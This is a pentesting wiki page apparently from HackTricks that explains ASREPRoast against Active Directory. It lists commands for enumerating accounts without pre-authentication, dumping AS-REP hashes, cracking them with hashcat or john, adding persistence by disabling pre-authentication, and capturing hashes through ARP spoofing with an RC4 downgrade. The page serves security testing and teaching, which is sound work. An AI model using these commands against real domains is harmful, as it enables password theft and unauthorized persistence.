7.3 KiB
ASREPRoast
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ASREPRoast
ASREPRoast is a security attack that exploits users who lack the Kerberos pre-authentication required attribute. Essentially, this vulnerability allows attackers to request authentication for a user from the Domain Controller (DC) without needing the user's password. The DC then responds with a message encrypted with the user's password-derived key, which attackers can attempt to crack offline to discover the user's password.
The main requirements for this attack are:
- Lack of Kerberos pre-authentication: Target users must not have this security feature enabled.
- Connection to the Domain Controller (DC): Attackers need access to the DC to send requests and receive encrypted messages.
- Optional domain account: Having a domain account allows attackers to more efficiently identify vulnerable users through LDAP queries. Without such an account, attackers must guess usernames.
Enumerating vulnerable users (need domain credentials)
{% code title="Using Windows" %}
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
{% endcode %}
{% code title="Using Linux" %}
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
{% endcode %}
Request AS_REP message
{% code title="Using Linux" %}
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
{% endcode %}
{% code title="Using Windows" %}
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
{% endcode %}
{% hint style="warning" %} AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0. {% endhint %}
Cracking
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
Persistence
Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):
{% code title="Using Windows" %}
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
{% endcode %}
{% code title="Using Linux" %}
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH
{% endcode %}
ASreproast without credentials
Without the knowledge of users who do not require Kerberos pre-authentication. An attacker can use a man-in-the-middle position to capture AS-REP packets as they traverse the network.
ASrepCatcher allows us to do so. Moreover, the tool forces client workstations to use RC4 by altering the Kerberos negotiation.
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher.py relay -dc $DC_IP --keep-spoofing
# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher.py relay -dc $DC_IP --disable-spoofing
# Passive listening of AS-REP packets, no packet alteration
ASrepCatcher.py listen
References
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Other ways to support HackTricks:
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- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.